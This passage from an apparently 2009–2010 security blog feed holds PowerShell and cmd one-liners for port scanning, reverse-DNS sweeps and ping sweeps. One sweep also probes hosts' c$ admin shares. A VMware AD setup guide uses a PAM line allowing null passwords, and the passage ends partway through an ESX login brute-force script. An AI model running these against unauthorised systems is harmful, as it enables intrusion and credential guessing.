face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.SubStatus&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Win32Status &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$matches&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.Win32Status&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $log&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&amp;nbsp; }&lt;BR&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;</description><comments>http://blog.securitywhole.com/2010/01/18/powershell-iis-log-parser.aspx#Comments</comments><guid isPermaLink="false">55d5326d-28c0-4ee9-a0b7-4212691d25f5</guid><pubDate>Mon, 18 Jan 2010 21:07:00 GMT</pubDate></item><item><title>Powershell Port Scan</title><link>http://blog.securitywhole.com/2009/09/23/powershell-port-scan.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;Ed Skoudis used the for loop to create an ftp script for the ftp command in order to do a port scan. I did an modification to it so that it didn't require the script file and no files were written to the file system. You can find that posting here:&lt;BR&gt;&lt;A href="http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx"&gt;http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;In my quest to port the Kung Fu of Mr. Skoudis in to powershell I came up with this command:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P style="MARGIN-RIGHT: 0px" dir=ltr&gt;&lt;FONT face="Courier New"&gt;1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "$_ is open" } 2&amp;gt;out-null&lt;/FONT&gt;&lt;/P&gt;
&lt;P style="MARGIN-RIGHT: 0px" dir=ltr&gt;&lt;/SPAN&gt;If you have been following the previous entries there isn't anything fancy here, except one handy little trick that has to do with the output from the echo command. If you look closely you see that the command attempts to write the output of the connection as well as the string at the end. If the first portion throws an error, then the second part isn't output. Here is a simple example with the output.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt; echo (1+1) (2+2)&lt;BR&gt;2&lt;BR&gt;4&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;If we replace the (1+1) with (1/0) then nothing is displayed (other than the error). . If we discard the error with 2&amp;gt;Out-Null then there is no output.&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR: #27750f"&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt; echo (1/0) (2+2) 2&amp;gt;Out-Null&lt;BR&gt;&lt;/FONT&gt;&lt;/SPAN&gt;(No Output)&lt;/P&gt;
&lt;P&gt;We can use this to our advantage. If our connection fails, an error is raised and we don't output the "$_ is open" portion. If the connection works then the "$_ is open" is displayed.&lt;BR&gt;&lt;BR&gt;Unfortunately, there is no easy way to change the connection timeout so this process is slow. We can do it with asynchronous calls, but that is a lot of work and is no longer a one liner.&amp;nbsp;I'll put that in a future version.&lt;/P&gt;</description><comments>http://blog.securitywhole.com/2009/09/23/powershell-port-scan.aspx#Comments</comments><guid isPermaLink="false">af0db381-04f4-48a1-a9b1-f3604532ada0</guid><pubDate>Thu, 24 Sep 2009 02:11:00 GMT</pubDate></item><item><title>Powershell NSLookup Brute Force</title><link>http://blog.securitywhole.com/2009/09/23/powershell-nslookup-brute-force.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;Stealing two other commands from Mr. Skoudis we can do an nslookup of each host in a range.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;for /L %i in (1,1,255) do @echo 10.10.10.%i: &amp;amp; @nslookup 10.10.10.%i 2&amp;gt;nul | find "Name"&lt;BR&gt;10.10.10.1&lt;BR&gt;10.10.10.2&lt;BR&gt;10.10.10.3&lt;BR&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; server.blah.com&lt;BR&gt;10.10.10.4&lt;BR&gt;&lt;BR&gt;for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2&amp;gt;nul | find "Name" &amp;amp;&amp;amp; echo 10.10.10.%i&lt;BR&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; server.blah.com&lt;BR&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;FONT color=#27750f face="Courier New"&gt;10.10.10.3&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;The first command shows each IP as it is looked up. The second only shows those that successfully resolve.&lt;/P&gt;
&lt;P&gt;Here is the powershell version and it's output:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;1..255 | % { [System.Net.Dns]::GetHostByAddress("10.10.10.$_") } 2&amp;gt; Out-Null | Format-List&lt;BR&gt;HostName&amp;nbsp;&amp;nbsp;&amp;nbsp; : server.blah.com&lt;BR&gt;Aliases&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : {loadbalancer.blah.com, service.blah.com, service2.blah.com, service3.blah.com}&lt;BR&gt;AddressList : {10.10.10.3}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;You'll notice a big difference from the first output. The standard nslookup just returns one result, while the powershell version gets all the aliases. We may not have ever known about those other DNS entries otherwise.&lt;/P&gt;
&lt;P&gt;Using the [System.Net.Dns]::GetHostByAddress() method gives us more power, plus we can send the objects we want down the pipeline for further actions. We use the 2&amp;gt; Out-Null so that the error messages for the unresolvable IP addresses aren't shown.&lt;/P&gt;</description><comments>http://blog.securitywhole.com/2009/09/23/powershell-nslookup-brute-force.aspx#Comments</comments><guid isPermaLink="false">070921f1-6266-4267-90a2-82e29ac30c36</guid><pubDate>Thu, 24 Sep 2009 00:36:00 GMT</pubDate></item><item><title>Powershell Ping Sweep</title><link>http://blog.securitywhole.com/2009/09/23/powershell-ping-sweep.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>&lt;P&gt;Ed Skoudis came up with some fantastic Command Line Kung Fu for Windows to do some basic scanning. Powershell is becoming more and more common so I decided to port these commands to powershell. I think Ed would agree that the standard windows commands can be rather painful and aren't easily extensible (blasted windows) and I hoped to make it slightly less agonizing. In order to make it easier to understand, I won't use the shortcuts in my examples for the foreach-object cmdlet (%) or where-object cmdlet (?).&lt;/P&gt;
&lt;P&gt;The first CLKF I thought I would tackle was the ping sweep. You can check out the great write-up over at the Command Line Kung Fu Blog.&lt;BR&gt;&lt;A href="http://blog.commandlinekungfu.com/2009/03/episode-6-command-line-ping-sweeper.html"&gt;http://blog.commandlinekungfu.com/2009/03/episode-6-command-line-ping-sweeper.html&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Taken from the blog, here is the Windows command to do ping sweep at the command line and its associated output:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;C:\&amp;gt;for /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;Reply from 192.168.1.1: bytes=32 time=4ms TTL=64&lt;BR&gt;Reply from 192.168.1.3: bytes=32 time=5ms TTL=64&lt;BR&gt;Reply from 192.168.1.37: bytes=32 time=4ms TTL=64&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The above command uses a FOR loop to ping each device and looks for "Reply" in the output. If there is a "Reply" then the host is up (duh).&lt;/P&gt;
&lt;P&gt;Here is the powershell version and its output:&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt;1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") } | where-object {$_.Status -eq "success"} | select Address&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;Address&lt;BR&gt;-------&lt;BR&gt;10.10.10.1&lt;BR&gt;10.10.10.3&lt;BR&gt;10.10.10.37&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;At first glance the results are very similar and you would think, "Why all the extra typing? The second command is 2.5 times longer!" The big difference between the standard windows command line and powershell is that the latter uses objects, which gives a lot of power...in our shell. Not let's see how it works...&lt;/P&gt;
&lt;P&gt;In the above command the range operator (..) generates a list of the numbers 1 through 255. The cool thing is you don't have to use just a single range, you can string them together like this (1..5),7,(9..10) which would give you the numbers 1-10 skipping 6 and 8.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The foreach-object takes the numbers fed into the pipeline and operates on them one at a time. First, it creates a new ping object and then calls the send method. The parameter given to the send method is a string concatenation of 10.10.10. and the number from $_, which is the "current pipeline object." The $_ variable in our example will contain the numbers 1-255. &lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;where-object {$_.Status -eq "success"} &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The output of the send method is the PingReply object which contains a status. We can filter the results only successful pings reply objects will be sent further down the pipeline.&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR: #27750f"&gt;&lt;FONT face="Courier New"&gt;Select Address&lt;/FONT&gt;&lt;/SPAN&gt;&lt;BR&gt;&lt;BR&gt;Finally, all we care about is the address so that is the only piece we have displayed.&lt;/P&gt;
&lt;P&gt;Now that we know how it works, let's pimp out our powershell version.&lt;/P&gt;
&lt;P&gt;First, we don't have to just use a contiguous set of numbers. If we wanted to scan all ip address before 10.10.10.100, after 10.10.10.200 and 10.10.10.155 we could use this:&lt;BR&gt;&lt;BR&gt;&lt;SPAN style="COLOR: #27750f"&gt;&lt;FONT face="Courier New"&gt;(1..99),(200..255),155 | foreach-object ....&lt;BR&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;BR&gt;We can use the results to feed into other commands. You can ping sweep an entire subnet and have it automatically do an nslookup, attempt to list the contents of the c$ share, and tell you that you are doing a good job (a little positive reinforcement never hurts).&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;PS C:\&amp;gt;1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") } | where-object {$_.Status -eq "success"} | foreach-object { nslookup $_; gci "\\$($_.Address)\c$"; echo "Good Job" }&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;The ping sweep can be sped up by setting a timeout value (in milliseconds). In the example below we set the timeout value to 100ms.&lt;/P&gt;&lt;SPAN style="COLOR: #27750f"&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;... (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_", 100) ...&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;/SPAN&gt;Next time we'll look into using the powershell version of nslookup and the brute force reverse dns lookup.&lt;/P&gt;</description><comments>http://blog.securitywhole.com/2009/09/23/powershell-ping-sweep.aspx#Comments</comments><guid isPermaLink="false">ec921e65-f5d9-4520-9645-94e857bd5625</guid><pubDate>Thu, 24 Sep 2009 00:14:00 GMT</pubDate></item><item><title>VMware Login via AD</title><link>http://blog.securitywhole.com/2009/09/20/vmware-login-via-ad.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>I put this together in order to integrate the login from VMWare into AD.&lt;BR&gt;&lt;BR&gt;&lt;STRONG&gt;NTP&lt;BR&gt;&lt;/STRONG&gt;To setup the ESX server for AD authentication the following steps need to be taken. NTP needs to be done first so the server has a time close to that of the domain controller. The ntp ports need to be opened via the gui and the deamon needs to be started as well.&lt;BR&gt;&lt;BR&gt;Allow the ntp client access through the firewall&lt;BR&gt;In the GUI under the Configuration tab click on Security Profile then click on Properties… on the top right. A Firewall Options window will open.&amp;nbsp; Click the checkbox next to NTP Client.&lt;BR&gt;&lt;BR&gt;Edit the ntp configuration file located at /etc/ntp.conf&lt;BR&gt;&lt;FONT face="Courier New"&gt;&lt;BR&gt;&lt;/FONT&gt;Under servers add the same servers the domain uses for ntp (i.e. tock.usno.navy.mil and tick.usno.navy.mil)&lt;BR&gt;Add:&lt;BR&gt;&lt;FONT face="Courier New"&gt;restrict default kod nomodify notrap&lt;/FONT&gt;&lt;BR&gt;delete:&lt;BR&gt;fudge line&lt;BR&gt;server&amp;nbsp; 127.127.1.0 #local clock&lt;BR&gt;e.g.:&lt;BR&gt;&lt;FONT face="Courier New"&gt;restrict default kod nomodify notrap&lt;BR&gt;server tock.usno.navy.mil&lt;BR&gt;server tick.usno.navy.mil&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Edit the steptickers file located at /etc/ntp/step-tickers&lt;BR&gt;add the same servers the domain uses for ntp on separate lines&lt;BR&gt;tock.usno.navy.mil&lt;BR&gt;tick.usno.navy.mil&lt;BR&gt;&lt;BR&gt;restart the ntp service:&lt;BR&gt;&lt;FONT face="Courier New"&gt;service ntpd restart&lt;/FONT&gt;&lt;BR&gt;&amp;nbsp;&lt;BR&gt;check to make sure the time update worked (from command line)&lt;BR&gt;&lt;FONT face="Courier New"&gt;ntpdate -q tock.usno.navy.mil&lt;BR&gt;ntpdate -q tick.usno.navy.mil&lt;/FONT&gt; 
&lt;P&gt;&lt;STRONG&gt;Active Directory Authentication&lt;/STRONG&gt;&lt;BR&gt;Paste these lines into the CLI. The first two lines can be added via the GUI. VIC -&amp;gt; Configuration -&amp;gt; Security Profile -&amp;gt; Properties -&amp;gt; Add activeDirectorKerberos [sic] (NOT Kerberos).&lt;BR&gt;&lt;FONT face="Courier New"&gt;esxcfg-firewall --openPort 88,tcp,out,KerberosClient&lt;BR&gt;esxcfg-firewall --openPort 464,tcp,out,KerberosPasswordChange&lt;BR&gt;esxcfg-auth --enablead --addomain agstar.local --addc mydc.mycdomain.blah&lt;BR&gt;esxcfg-auth --enablekrb5 --krb5realm=agstar.local --krb5kdc=&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;mydc.mycdomain.blah&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;-–krb5adminserver=&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;mydc.mycdomain.blah&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;Edit the VMWare Authentication deamon config located at /etc/pam.d/vmware-authd and add this line to the top:&lt;BR&gt;&lt;FONT face="Courier New"&gt;auth sufficient /lib/security/pam_unix_auth.so shadow nullok&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Prevent users’ password from expiring since that is taken care of in AD.&lt;BR&gt;&lt;FONT face="Courier New"&gt;esxcfg-auth --passmaxdays=-1&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;Add users using the username found in AD&lt;BR&gt;adduser jdoe&lt;BR&gt;adduser ymomma&lt;BR&gt;adduser bdover&lt;/P&gt;
&lt;H1&gt;Done&lt;/H1&gt;Now don't forgot to add the users to the wheel groups so they can ssh to the box. Also, add them to the sudoers file so they don't have to use su.&lt;BR&gt;&lt;BR&gt;</description><comments>http://blog.securitywhole.com/2009/09/20/vmware-login-via-ad.aspx#Comments</comments><guid isPermaLink="false">d5380040-8233-494c-92f8-5d423c6be5f9</guid><pubDate>Mon, 21 Sep 2009 03:18:00 GMT</pubDate></item><item><title>Brute Force ESX Username/Password</title><link>http://blog.securitywhole.com/2009/09/01/brute-force-esx-usernamepassword.aspx?ref=rss</link><dc:creator>Tim Medin</dc:creator><description>This script will brute force the connection to ESX. You can either give it a single username or a username file. Similarly, you can either give it a single password or a&amp;nbsp;password file. You also have the ability to define how many jobs will run in parallel.&lt;BR&gt;&lt;BR&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;#--------------------------------------------------------------&lt;BR&gt;#Description: Powershell Simple VMware ESX Login Brute Force Script&lt;BR&gt;#Version: 1.0 &lt;BR&gt;#Author: Tim Medin&lt;BR&gt;#Email: TimMedin A@T securitywhole D.O.T com&lt;BR&gt;#--------------------------------------------------------------&lt;BR&gt;#Parameter Declaration&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;param&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; ( &lt;BR&gt;[Parameter(Position&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;0)]&lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; $(Read-Host -prompt &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Server"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;),&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$User&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Password&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;[Parameter(Mandatory&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$false&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)] &lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;int&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$MaxJobs&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; 10&lt;BR&gt;)&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;# Function to handle the jobs once they complete&lt;BR&gt;# As the jobs finish (Completed, or Failed) they are handled by this routine&lt;BR&gt;# Each Job has a child job that actually does the work, if that job&lt;BR&gt;# does not have an error then we have found a successful user/pass combo&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;Function&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;Handle-Jobs&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; {&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get-Job | Where-Object 